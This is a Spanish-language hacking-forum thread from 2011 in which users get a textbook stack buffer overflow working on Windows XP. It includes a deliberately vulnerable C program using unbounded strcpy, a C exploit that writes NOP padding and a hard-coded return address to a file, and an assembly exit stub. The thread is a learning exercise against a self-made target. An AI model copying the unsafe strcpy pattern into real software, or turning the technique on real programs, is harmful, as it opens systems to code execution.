elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  [ Ayuda ] BufferOverflow en Windows
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [ Ayuda ] BufferOverflow en Windows  (Leído 2,275 veces)
drift_bit

Desconectado Desconectado

Mensajes: 14


C - Programming Rulz


Ver Perfil
[ Ayuda ] BufferOverflow en Windows
« en: 13 Febrero 2011, 15:30 pm »

Me gustaría me pudieran ayudar con el Exploit para el BufferOverflow,
el codigo lo copie de una publicacion de  Ikary.-

El problema ocurre en el retorno... Accedo a la funcion oculta...
Sin embargo luego sale la tipica ventanita de No Enviar...

Testeado en WindXP SP3, con Dev-c++.-

A continuación el programa Vulnerable a BoF:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. int LeerFichero( char *, char *, int );
  6. int FuncionVulnerable( char * );
  7. int FuncionOculta();
  8.  
  9. main()
  10. {
  11.      char buffer[1000];
  12.      char nombre[] = "archivo.txt";
  13.      LeerFichero( buffer, nombre, 1000 );
  14.      FuncionVulnerable( buffer );
  15.      system( "pause" );
  16.      return 0;    
  17. }
  18.  
  19. int LeerFichero( char *Fbuffer, char *Fnombre, int Limite ){
  20.    int c, n=0;
  21.    FILE *f;
  22.    f = fopen( Fnombre, "r" );
  23.    while( ( c = getc(f) ) != EOF ){
  24.        if( n<Limite )
  25.            Fbuffer[n++] = c;
  26.    }
  27.    Fbuffer[n++] = 0;
  28.    fclose(f);
  29.    return 0;
  30. }
  31.  
  32. int FuncionVulnerable( char *cptr ){
  33.    char buff[10] = "Datos";                
  34.    strcpy( buff, cptr );
  35.    printf( " %s\n\n ", buff );
  36.    return 0;
  37. }
  38.  
  39. int FuncionOculta(  )
  40. {
  41.    printf( "  Descubriste la Funcion Oculta!" );
  42.    return 0;
  43. }
  44.  
  45.  
  46.  

Y este es el exploit, programado en C, es una variación del source de Ikary, que lo hizo en C++:

Código
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4.  
  5. main()
  6. {
  7.      char ret[] = "\xEC\x13\x40\x00";
  8.      char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  9.                    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  10.                    "\x90\x90\x90\x90\x90\x90\x90\x90";
  11.  
  12.      FILE *arch;
  13.      arch = fopen( "archivo.txt", "w" );
  14.  
  15.      printf( "\n%s\n", ret );
  16.      printf( "\n%s\n", nops );
  17.  
  18.      fputs( nops, arch );
  19.      fputs( ret, arch );
  20.      fclose( arch );
  21.      printf( "\n\nExploit Listaylor\n" );
  22.      getchar();
  23.      return 0;
  24. }
  25.  
  26.  

Si alguien me pudiera dar la teoria de que ocurre para intentar programarlo, lo agradecería muchísimo =]


En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
RE: [ Ayuda ] BufferOverflow en Windows
« Respuesta #1 en: 14 Febrero 2011, 13:47 pm »

Mmm, el manual de Ikary está muy bien, yo saqué la idea de la función oculta de sus códigos... Yo me hice mi propio programa en C, pero lo borré el otro día...
Te iba a reescribir todo el código, pero creo que he encontrado el fallo...
Código
  1. int FuncionOculta(  )
  2. {
  3.    printf( "  Descubriste la Funcion Oculta!" );
  4. // return 0;
  5.    exit (0);
  6. }
  7.  

El fallo creo que está en que al volver con return coges la dirección del ret, pero es que el ret lo hemos sobreescrito y ya no nos vale...
Luego te posteo mi código reescrito...

Suerte!
PD: Que bien que vayas probando ya tú solo algunas cosas! Me ahorrarás mucho trabajo, créeme...


En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
drift_bit

Desconectado Desconectado

Mensajes: 14


C - Programming Rulz


Ver Perfil
Re: [ Ayuda ] BufferOverflow en Windows
« Respuesta #2 en: 14 Febrero 2011, 23:26 pm »

Gracias Sagrini, ahora no se cae el programa :)
el exit(0) finaliza el programa...

Sin embargo me quedó una duda...
Existe alguna forma de continuar el programa?, me explico...

Despues de llamar a la funcionOculta...
podemos volver al main?[ Me gusta enredarme la cabeza y hacerme preguntas xD ].

En este caso el programa haría: [main]LeerFichero-->FuncionVulnerable-->FuncionOculta---[main] System("pause");
« Última modificación: 15 Febrero 2011, 01:50 am por drift_bit » En línea

Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
Re: [ Ayuda ] BufferOverflow en Windows
« Respuesta #3 en: 15 Febrero 2011, 18:47 pm »

Metele al final de la shellcode una llamada a exit
Código
  1. xor eax, eax
  2. xor ebx, ebx
  3. inc eax
  4. int 0x80
  5.  

Algo así
Suerte!
_______________________________
Modf por toque del autor... Esto es mi respuesta a su mensaje diciendo que no entiende esto último.

Pues ese code es una llamada a exit con 0 como primer parámetro en linux. Ahora que me doy cuenta escribes en Windows  :-X Perdona la confusión...
Yo a lo que me refería es que si quieres acabar el programa pues llamas a exit y listo...
_______________________________________________________________
Ahh, perdona mi despiste! Ahora me doy cuenta de lo que quieres :P
Vale, para lo que dices deberías hacer algo como un jump a main, pero el problema es que sería algo difícil, pues deberías restaurar un puñado de cosas...
Que sepas que se puede, pero tienes que liártelas con ASM. Es restablecer el programa a como estaba al volver. Difícil, pero posible...

Si quieres, un día leí algo parecido a un ataque a un servidor web en linux, en el que se dejaba todo como estaba... El libro era "Hacking, técnicas fundamentales", pero lo veo difícil para lo que considero tu nivel, y aparte es para linux...
En resumen: Si quisieses hacerlo deberías desensamblar todo y arreglártelas para dejar todos los registros y la pila IGUAL que antes de tu intervención maligna ;)
No, no conozco nada de eso, pero te animo a que sigas buscando. Vas por el buen camino ;D

Cualquier duda...
« Última modificación: 16 Febrero 2011, 22:43 pm por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
BufferOverflow in Java ?
Java
konarr 2 1,833 Último mensaje 4 Agosto 2012, 22:56 pm
por konarr
Duda BufferOverflow (Extraño error)
Hacking
lubo 0 2,263 Último mensaje 26 Octubre 2013, 12:21 pm
por lubo
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines